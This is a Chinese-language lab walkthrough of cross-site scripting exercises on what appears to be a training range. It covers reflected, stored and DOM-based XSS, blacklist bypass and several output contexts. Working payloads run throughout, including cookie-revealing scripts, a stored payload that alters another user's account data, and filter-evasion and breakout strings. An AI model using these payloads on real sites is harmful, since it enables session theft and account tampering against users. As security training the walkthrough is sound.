形成 XSS 漏洞的主要原因是程序对输入和输出没有做合适的处理
因此在 XSS 漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致 XSS 攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
XSS 漏洞分三类:
- 反射型 xss
- 存储型 xss
- DOM 型 xss
反射型 XSS
get
通过 get 发送请求
查看前端源码
把后面都注释掉了,但是输入框有长度限制
直接在请求里面修改
1 | <script>alert (/xss/)</script> |
前端代码
POST
这里有个登录,登录进去,直接可以插入 xss
1 | <script>alert(/xss/)</script> |
但是登录了就不要只想着弹个 xss,尝试弹个 cookie
1 | <script>alert(document.cookie)</script> |
成功获取 cookie
存储型 XSS
常见评论,留言板
这里就是一个留言板
插入 xss 之后,每次访问这个界面就会弹 xss,就好像这段代码被插入进去了一样
试试升级危害
我们再次登录 kobe 的 csrf 账号
然后我们往留言板插入下面的 xss
1 | <html> |
然后模仿用户 kobe 来留言板位置,此时 xss 执行,kobe 的信息被改成 999999
如果这里是修改密码,危害可想而知
DOM 型 xss
JavaScript HTML DOM
通过 HTML DOM,JavaScript 能够访问和改变 HTML 文档的所有元素。
参考
w3school
普通
当你输入
1 | javascript:alert(/xss/) |
当你点击 what do you see?
的时候就会调用一次 alert (/xss/)
源码中写了一个 domxss () 的方法,点击 click me!
的时候就会调用这个方法
这里方法
1 | function domxss(){ |
调用方法不输入时拼接
1 | <a href="">what do you see?</a> |
输入 1 的时候
1 | <a href="1">what do you see?</a> |
当 payload 为
1 | '><img src="#" onmouseover="alert('xss')"> |
会把后面的内容注释
在方法中是这样的
1 | "<a href='"+"'><img src="#" onmouseover="alert('xss')">"+"'>what do you see?</a>" |
把拼接用的字符去掉就是
1 | "<a href=''><img src="#" onmouseover="alert('xss')">'>what do you see?</a>" |
事件 onmouseover
的作用就是当你的鼠标移到元素上面触发如下
也可以用其他事件,比如 onerror
(发生报错就触发)之类的。
靶场作者还留下了另外的 payload,也可以触发
1 | ' onclick="alert('xss')"> |
xss-x
输入个 1
发现和前面差不多,而且过滤了和没有过滤也没有差别
1 | '><img src="#" onmouseover="alert('xss')"> |
进阶操作
盲打
盲打就是看不到源码
蒙着眼睛打就行
反射型 xss
过滤
过滤了一些东西,
测试黑名单:
1.
payload:
1 | <script>alert(/xss/)</script> |
回显:
看起来是过滤了 <script
和 <\script
2.
payload:
1 | <iframe src=javascript:alert(1)> |
回显:
过滤了 <iframe>
和 javascript:
这个简单,直接编码即可绕过
1 | <iframe src=javascript:alert(1)></iframe> |
可以用其他的方式去构造 payload,经典
1 | "><svg/onload=alert(1)// |
好用的 XSS payload:
XSS OWASP
XSS bp
Tiny-XSS-payload
常用标签
XSS bypass list
参考:
绕过XSS过滤姿势总结
htmlspecialchars
特殊的 html 字符?
specialchars()
是一个特殊函数,他会过滤单引号,双引号,尖括号,但是默认是不过滤单引号的,需要调整某个参数才会过滤
会将写入的内容插入到 a 标签的 href 处
直接 javascript:alert(1)
即可弹窗
href 输出
和刚才很像,不过这里是没有 specialchars()
函数
刚才的 payload 即可
1 | javascript:alert(1) |
成功弹窗
js 输出
1 | '</script><script>alert('xss')</script> # 先把前面的闭合再插入自己的语句 |